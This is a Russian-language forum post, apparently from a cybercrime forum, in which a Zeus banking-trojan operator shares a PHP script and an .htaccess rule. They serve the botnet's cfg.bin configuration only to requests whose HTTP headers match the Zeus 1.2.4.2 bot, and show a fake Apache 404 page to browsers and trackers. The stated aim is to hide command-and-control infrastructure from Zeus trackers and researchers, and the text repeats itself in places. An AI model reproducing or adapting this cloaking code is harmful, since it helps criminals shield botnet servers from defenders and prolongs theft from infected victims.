чтож... думал куда запостить чтоб оценили и помогли)
для всех проблема всякие зеустрекеры и прочие кто портит жизнь зевсу.
на счет закрыть доступ по ипам от зевстрекера - нашли кто хотел.
я предлагаю закрывать конфиг от всех кроме зевса
www.w/zeus/pizdec/cfg.bin -> eto propisano v konfige zevsa
www.w/zeus/th/ee -> tut konfig na samom dele
недолго изучив логи апача получилось
немного поясню кто не понял)
этот фаил - cfg.bin(прописанныи в зевсе ) в паре с .хтаццесс
дает ему выполнится как скрипту.
дальше идет проверка по заголовкам.
код выше - версия зевса 1.2.4.2. тестился на нем(в принципе не составит труда сделать и под другие версии
)
попытаясь скачать через браузер(думаю в большинстве случаев) - обломится.
если зевс его запросит - получит)
+/- выскажите)
для всех проблема всякие зеустрекеры и прочие кто портит жизнь зевсу.
на счет закрыть доступ по ипам от зевстрекера - нашли кто хотел.
я предлагаю закрывать конфиг от всех кроме зевса
www.w/zeus/pizdec/cfg.bin -> eto propisano v konfige zevsa
www.w/zeus/th/ee -> tut konfig na samom dele
недолго изучив логи апача получилось
Код:
<?php
$version="1.2.4.2";
$file_name="../../zeus/th/ee";
$p404 = '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL /zeus/pizdec/cfg.bin was not found on this server.<P>
<P>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.
<HR>
<ADDRESS>Apache/1.3.37 Server at 130.43.232.72.static.reverse.layeredtech.com Port 80</ADDRESS>
</BODY></html>';
function good(){
global $file_name;
header ("Content-type: application/octet-stream;charset=windows-1251");
header ("Content-Length: ".filesize($file_name));
header ("Content-Disposition: attachment; filename=cfg.bin");
header ("Pragma: no-cache");
readfile($file_name);
}
function bad(){
global $a,$p404;
echo $p404;
//logs($a."access denied");
die();
}
if (($_SERVER['HTTP_ACCEPT']=='*/*') && ($_SERVER['HTTP_ACCEPT_LANGUAGE']=="") && ($_SERVER['HTTP_REFERER']=="") && ($_SERVER['QUERY_STRING']=="") && ($_SERVER['HTTP_ACCEPT_CHARSET']=="") && ($_SERVER['HTTP_ACCEPT_ENCODING']=="") && ($_SERVER['HTTP_CONNECTION']=="")){
switch($version){
case "1.2.4.2":
if(strpos("Mozilla/4.0",$_SERVER['HTTP_USER_AGENT'])!=-1){
good();
//logs($a."send ok");
}else{
bad();
}
break;
}
}else{
bad();
}
?>
этот фаил - cfg.bin(прописанныи в зевсе ) в паре с .хтаццесс
Код:
AddType application/x-httpd-php .bin
дальше идет проверка по заголовкам.
код выше - версия зевса 1.2.4.2. тестился на нем(в принципе не составит труда сделать и под другие версии
попытаясь скачать через браузер(думаю в большинстве случаев) - обломится.
если зевс его запросит - получит)
+/- выскажите)